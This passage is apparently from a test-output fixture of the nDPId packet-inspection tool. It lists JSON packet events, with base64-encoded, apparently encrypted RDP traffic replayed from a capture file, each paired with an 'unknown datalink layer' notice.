+00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":443,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":471309,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9AnhHm2Q+UBAf\/pt7AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":443,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00432{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":444,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":471445,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9AnhHm2Q+UBggANxhAAAXAwMAOOAIO32NJwuueOhe4rNG+OogVfpd9plHI9uSAqRphhCDi3a8DpneFxkQTyL9KW4Th8ruD7ZaTEi0"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":444,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":445,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511358,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgV0AAfwYpecCoAo6sEAK5DT3NDkebZD75vQEqUBD3zsT4AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":445,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":446,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511377,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgWEAAfwYpeMCoAo6sEAK5DT3NDkebZD75vQGcUBD3XMT4AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":446,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":447,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511412,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgWUAAfwYpd8CoAo6sEAK5DT3NDkebZD75vQIOUBD26sT4AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":447,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":448,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511449,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gWkAAfwYpQcCoAo6sEAK5DT3NDkebZD75vQIOUBj26q5sAAAXAwMAMAAAAAAAAACDL7vsQy62nnf3rJHAf3IF3zhFhahMaeE0vGYW31EWTFgxMF3oW50MZw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":448,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00436{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":449,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511511,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGVgW0AAfwYpOMCoAo6sEAK5DT3NDkebZHP5vQIOUBj26lggAAAXAwMAOAAAAAAAAACEf5zyXLzNd\/Oue6FmdCEzFRs5k\/YBoS4KxC+SgpdCQidJUL\/XA0GVn4Mz\/dqbAO+z"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":449,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":450,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511515,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ArVHm2RzUBAf\/psJAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":450,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00425{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":451,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511572,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gXEAAfwYpP8CoAo6sEAK5DT3NDkebZLD5vQIOUBj26opiAAAXAwMAMAAAAAAAAACFH7WyHa7bwiZljdc3TfcquJ2BlanDldGrdb3Nh\/\/XuYAinQ\/QvzU0cw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":451,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":452,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511600,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ArVHm2SwUBAf\/JrOAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":452,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02072{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":453,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511718,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgXUAAfwYkesCoAo6sEAK5DT3NDkebZOX5vQJDUBD2tSdWAAAXAwMGbwAAAAAAAACGae3WUPrL39qlRmWpOvts1hWTV4ZSX6v53JWBhBOWMx0nA7O9ljNUXLqi1lYHj71zoEFwilT2PWv8QM1rANgadPDaj+dX6pfhejPGtTfmG04ayfKG70oID\/vGT0S9SecP3MMO78Mzrz6mwk8YVg6PgVoWjwuFSioZia5ajMbGb+CkyohYqsm1Y0FIOx4X9WNLidf2h6WUbbMKgU7Jok54XiJonJPDBNJgwxrhMQEzuf4FTvioMEuDB9pm0+mw8G4Ukv\/NaaudwsSpMOmXJq31WNe9jWxApu1vC9NyEyB+ZZ+Nk0YPX8k3ONn+xUnRcAUZO6269A4vqgx7oJ1VIizXfkYX4JrCBbkBQMQ6Q9+gt3XjY1SdPHt83xY2R8IZmJQ\/Lob5PtUFvfxKq8KhLI8+IVxkNdkQTwTUlCorqBSWB+zRg9chAZf0RGfet7WkCBlr4kHmS4CiESylPXB8UxcBN2baIaLJ+KCLSDBAHqBsg8B8HUp3WC4JBkvVQLIG66BnDhF0g\/qQTjolVBXx+MKPg1LbMSC5WK0K89epnInUyEAFCofq7DtM4jpo1IyaXXTDaLXUSEFSLQ1JpkpFe\/vz6vs3KjzFl3GSVe30fvF4uQG9xV23qCFeH0E9IA9LqO8P8ugsgCGIZ8sW\/DqwTDqpqiumcDzkHye\/br2JRmjUXZXKetb4PJes8TumlQ\/iNXRrTJfyBYKcNQ\/j0WdltAJ1HlpaI8SxBgkie3wLpkoH4vu7SaYl2dFWBQ3RDBtDs1O9YmAmew4uLqXR5f1jUNO0qm3XETgRpWHIYY7kisfi+VTc5cuUF4C3C8HDDvajJ86wF9pGZ5zwvBhRQ4wf7b1DD7lh476qfqjIpIynWjS6YSkefzvH7fQ7pctHuO8GJFrgrV3ZD3qkzUVCi9JFlbqwCNYghqTs4eGlGQUhff4I6fNRHagBT9qU3mw7P5t\/hI40\/8IHIbB66hGLe6Nclb6HpauPHksoKKOfDJiyQjVbdBW5u+56fGFi9ptUV72N43W8bAOQicW3b9ds0X2\/wNNTcAxuxUnFJulxgQoJ6g9ZfcmH85iPCdsiUE+UvRp+a\/Ipuum+F2mGiVbfVC15ntsPjTJVZYP4ZDg4wWK12OlCBML5fkAJWdkUE2aiBAQ3vG5MPRe2\/0LAFi7V55A7Ezx3zq34PFxfzEj0TlXtKcvlE1MNt67gCEo8SjtWA28QJBj2sRASFbf\/U2NkTep3+swn5OFdfNKKEu7ycELdNczseDzXhWjVv0\/ECBuaqhmBgl+XHHEgbNAtrfjhVeuLogP3E9ENYDLQbyh7tk0xTwT2inmzpTZ16aTHHFsbmBjKz\/Q0\/gWSMgWQd\/j15PgMCGgfvgxbeifzKeaoaO3rT25cUqlHjYFX+h4GQLaLDBJ9dQAu9ZOhAljSwS+lZ6UHv7e3O1pVIQotNsvnaUCZ4fAI8eNZTSAEkSNGtLXJwlMoOhu42QHcV9S7pTWk48eqQfnOwFRHJpKPoMZ3lddgisSvx+AbI3q\/R+4Qwc1AStb5JKC66on06heAxzCRV\/r8mjCf9QCHS+OVD7gOKw8Wz5ZcvdQQI3gbcB2jHVOxVfcPyWeyxPTqp5eAAnzB6IVAiK+8g+UheYuf\/wAJQgOynUAYIE33xMavVMVSOtznJxILk0OF6dRZQZ51mrlyhYzu"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":453,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":454,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511738,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ArVHm2TlUBAf\/pqXAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":454,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00864{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":455,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511943,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgXkAAfwYn98CoAo6sEAK5DT3NDkebad75vQJDUBj2tWTRAACzRrdc+OvqXTBM6tF8BoSWX57nIlmm+fsk+P4F9g1EiimAeuQmEXCoLlyt9uTYo9fJqn97cjc2AJ6vEFy9WtRFcZ3KJxrbme3M81Lh0JSRZieCzihuth0P0Y6nZ1MNQX\/Eh+iHkG3+xfQtHNEGSXADFWILzwWBVxqowfChaJLRVH8nApwxbLYPw2QDtePu7LX\/9WSTrM2u+lHSv+tC675+dUbP5qWYIy4+Xmh4umYCkqwS9gby2MXz14fwQlfJX2r7ICtHXgI5THb9nsolB1\/+fn8+lBNxesY7NseL+DcukyCcVjF1HiTP3+1Q3CX3om3O\/A3RV5DWI9pYtY4viGsSgQeL3zJ98VlSS5G42+OebLH9IEYfH0Po5BQKHok\/ZJyhPggZWdslvFJ8Qpfx\/HjFQfROco8RiSw8r2ibBWf9swKGvYI7MY\/Tt1gw09GhE0\/jAt6svlOor5imo77h6MJ7dbQKOocdNgmGIna6G2CG+X29EU6HF9kecmEp"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":455,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":456,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511977,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gX0AAfwYpPMCoAo6sEAK5DT3NDkeba1n5vQJDUBj2tUbIAAAXAwMAMAAAAAAAAACH5GilIa5LzkJMdvDzuu4Jb6Qe7U7kyAtoJYfH40OoUAft0HrHxoia6g=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":456,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":457,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":511984,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ArVHm2tZUBAf9JQtAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":457,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02071{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":458,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":512080,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgYEAAfwYkd8CoAo6sEAK5DT3NDkeba475vQJDUBD2teDMAAAXAwMGbwAAAAAAAACIvhTfIMcpK4aJ8Sjas7sz8CnAmaYQpis4SNO1cXRwrCBTjWPbnzUs20sbuVl0q\/7aEGn4MHMVa4upfeDJSync1570WKV0YeYvkqECiF9RELUJQt4kc76u1RpDArAeqBlY4UBLbqG92XLsO+qX7ocJQwKa4AOr7EXFofsvfRO5Z\/2XaX\/w3c6phZFDM1ksSPb9vq7ZodXX3lUqkEwb35nVO3Slcgse5U3uzPq3EUqgzam0OyrTcvtKgOhZpwzHf2RdZcJu4KSXBm1vsAtPR9nWbYhwL2L1E6abRV7nUFXHha45dr4Wh59REibtkHHpAI377oNhup\/e8NJGcOrrSwz2TczGLTLB5mu+HL8gALNKF4GHrQRRq\/Wo1\/2T1PhNCC5m5modhe+IJzkm7CAad2lW+tgz6D70\/vD3XKmfVVYfIncujqaKFT\/kqN1OG0iGzjWWl6nnoaX\/aS5Hw3d7rCdvAQRBy\/8gU2iKERczB+sPRCQPcaY5UaRgkW8oXdga8E3IDbKVLlqFZslHBg74a0Tm7mqODb\/VkM7niLptarV5Vc8EhpP6LmtzN88lCzqCMD9zhLGeXnbrKzwXBsiGwcD6tkd5xbq\/ksH6ncKEOa8vn165fM0CgR910tIg7cYNqXK28kisHnOkRQXWTLHLQACCLAUEyamKWcG7G1vX\/hXhHdFsKD9EuaRKsc+TDF4BJV2xsi9Ys6hI5cSytJR8BUnZdqcgiPf8jRzlmeBzVc0KYnFBPjaiJF43YLxg0bwydFoRmNXYjwz\/6soGFrQ\/7xLbmgttLgOC4MTSL1W3NGVI\/QzVQJClLm7yuoovuDskIVxHMDsahynUjJoS+HGxiDkvwRlSAbKtVXDpCEeA7SHvulxaFLYyqfeQFmX0SmbWs2zvlwwh+19BN\/hO07wd4sAp4UTCI+k0jkenFqadGM7BWuQJzzCkqknWgysCWe\/H+9VajE9FffGgjY1qSR0e5tClKeFVW44vNGtjxVDklHRLQ3aVYcJ4O7jK1zAVx5ZsxgTqgqaLIjSwcUa5EzHJcFeUjuowgxII0fqx1AA6ljdJ4mIv3WK9Ief44s9p8G7+8O+6UZfxX1wq1QMpDp2hadepzSudboTCE+XwJU5etTMcV7VEoc4tZ0xudvpR+Ue\/46nCBqcMyBoQExhR5TOjeYpKhyoaWCtC1OUvuP6wfRWT9UYKUhdBExOywzWXZ+YHMLtndKu9Uq2VaR4B+Fz7qklJ3SHcpr625n12mFVYP\/lbKlxPJ5CWQ0ee7Os9Tb+ImjASWZlgBH8tJvZzxMKXguIYLFvbyjqEm6aSdod0KZ5zZzF4jToiEl7qC8BesCiFud4ntAj38HeaJZCWLrHUEwc9sPi\/PIf7RKnnLgX9auROZB818BAb6IoBXyav8Dxz6ScATKUL2z1ooO8LGD8W3S1ZGJZcY93JzZFHwADBrJRmV9sdoMEb5TFlzHEqsshOx7F8OHAAhRWP7H+5vq1iuJTVDXMsKNhgy1CwcYNwNlEj5Cz4MJ8Ip8qX9raV9IkjhovUIyXp60sBQlsWDWpvru2RF8xyMBbuv4fXMF4mDaPPMM1rO906EDpYhNONpd1DmXoVM8Q0gk+7oRthG0kzTeAn8D1QUcR5q9hmoZSJQm0zSuMY0X38zGiAW9WKc6aKcml0qdyRmYlrI9pdcQs3"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":458,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":459,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":512104,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9ArVHm2uOUBAf8pP6AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":459,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":460,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":512205,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9ArVHm2uOUBggAF3kAAAXAwMAMOAIO32NJwuvlZOxPvXhMP2nnsfe+hDCv4u0B2zpJYXnxUqV1mvHDHJGKbGm92C01Q=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":460,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00422{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":461,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":512331,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF0AAEAAQAbIm6wQArnAqAKOzQ4NPfm9AupHm3CHUBggAN7sAAAXAwMAMOAIO32NJwuwzin5GdT5Ukbm9iqolFGpFPSxHt5G1snFNAj0hDSEosBTjqwdbHcPXQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":461,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00866{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":462,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":513400,"pkt_caplen":423,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":423,"pkt_l4_len":0,"pkt":"AgAAAEUAAaNgYUAAfwYn9MCoAo6sEAK5DT3NDkebcIf5vQJDUBj2tXyGAAAC9mRQsGPjqYFhAychqjUZrarfGey7R\/cbLMB0DSIH7nMHkGFlffDioDinwgJCVhGYbGpTy9eVqKqBEusrLAYVeqoQxHTyb1ObSPmoseKHwefyKkHENCB3ZY\/aeeMVuRN7IRNLklIHT\/ZBAX4ufIxQgwRjMV\/eniphp+7k03nol3WyHfgQEvRQK9MuakGZFLPc\/N15oCHadru6MDuT92zqZafRXMZDNn6pY2CByDxqZBIQ\/R0LbWSuNMf+wHdutiFcICcskaKwAv9IR\/TZxWYqBHj0hCOmOsfQSi\/Sze0pO\/B9xh+qnF7YZVTUT+GprIgqL03UtiVkfDoNDBz3QZ13wotz5ZlgrV1oKoo+t4\/UrSUZlH0TERtlTrHRN4VkELbSKmybwR437aowQPZuJY8LmFelJtfbrJ6Z+IcxVCODKtBODwXLTaXicQEMUEQrpbMpUQlwWkYhzw4ZmlCfMG4i+59GV+3rwiHDUbDIkKPQerATX5BIG8EWWLZz"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":462,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00350{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":463,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":513437,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Ax9Hm3ICUBAf9I0aAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":463,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":464,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":513437,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gYkAAfwYpOcCoAo6sEAK5DT3NDkebcgL5vQJDUBj2tbYlAAAXAwMAMAAAAAAAAACJsDlnYRN8X1wnnJ6g5kIzrX368jN0tJk79szhm9vYl\/80U8e7KdVzSQ=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":464,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":465,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":513513,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9Ax9Hm3I3UBAf\/ozbAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":465,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":466,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":513733,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AgAAAEUAAGUAAEAAQAbIk6wQArnAqAKOzQ4NPfm9Ax9Hm3I3UBggAB\/yAAAXAwMAOOAIO32NJwuxD2+NZ6HLT092utS3QZuwEo6eP7Bn\/wwYGv+zCfRmy8eDT62knSbSZ99WIo\/Mh+Ab"} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":466,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":467,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527498,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAAChgY0AAfwYpbcCoAo6sEAK5DT3NDkebcjf5vQK1UBD2Q7b\/AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":467,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":468,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527522,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gZEAAfwYpN8CoAo6sEAK5DT3NDkebcjf5vQK1UBj2Qyl0AAAXAwMAMAAAAAAAAACKXWaXIMgMhFuNtdZ1Y\/O64aciCqFbm43xrM3LXpofGz4861DLLHkDvw=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":468,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":469,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527559,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9A1xHm3JsUBAf\/oxpAAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":469,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00423{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":470,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527584,"pkt_caplen":97,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":97,"pkt_l4_len":0,"pkt":"AgAAAEUAAF1gZUAAfwYpNsCoAo6sEAK5DT3NDkebcmz5vQK1UBj2Q1L+AAAXAwMAMAAAAAAAAACL4Dmm2\/VVt5Nkkbxykd3J45DS0ElD9CRD5sDSnt6e71l3iBfsbZSNFA=="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":470,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +00351{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":471,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527657,"pkt_caplen":44,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":44,"pkt_l4_len":0,"pkt":"AgAAAEUAACgAAEAAQAbI0KwQArnAqAKOzQ4NPfm9A1xHm3KhUBAf\/ow0AAA="} +00174{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":471,"source":"rdp.pcap","alias":"nDPId-test","datalink":0,"header":33554432} +02074{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":472,"source":"rdp.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1559207470,"pkt_ts_usec":527768,"pkt_caplen":1317,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":1317,"pkt_l4_len":0,"pkt":"AgAAAEUABSFgZkAAfwYkccCoAo6sEAK5DT3NDkebcqH5vQK1UBD2Q5OeAAAXAwMGbwAAAAAAAACMW\/ffwSwvZhlXbHjFE6OZh+VsbT9N7HLckKZS3UD0sw2CRxX7hZC5Kkw3NutqSTqPtMETAP5P+X\/GtYE1arxKb+OQp49bjXjZ7RTuRqmwzGB1x0nqGEai5isfJZZCPvNWoLDTVSeYFeYq2U269ELkoEkEkwugGbqTXpesz0SNCtO3xI9+dM5RBMDQ9cU39ClzYHVAiYfTfD1Ak+Lf9eEwqWFk83X8UIGeRy5149XUSgxKdEWtoudeyPWLA1b5HNAfinSR0islYTyiGRUws+wDHliqND3mAcA1fV0XIkVHWroFnd122WesRLdMeh4h5dMiRzSN7KH71nD9HwIjcQB0HcuSoM39dPzdkD8SFxXCO+gziPCh8SmpR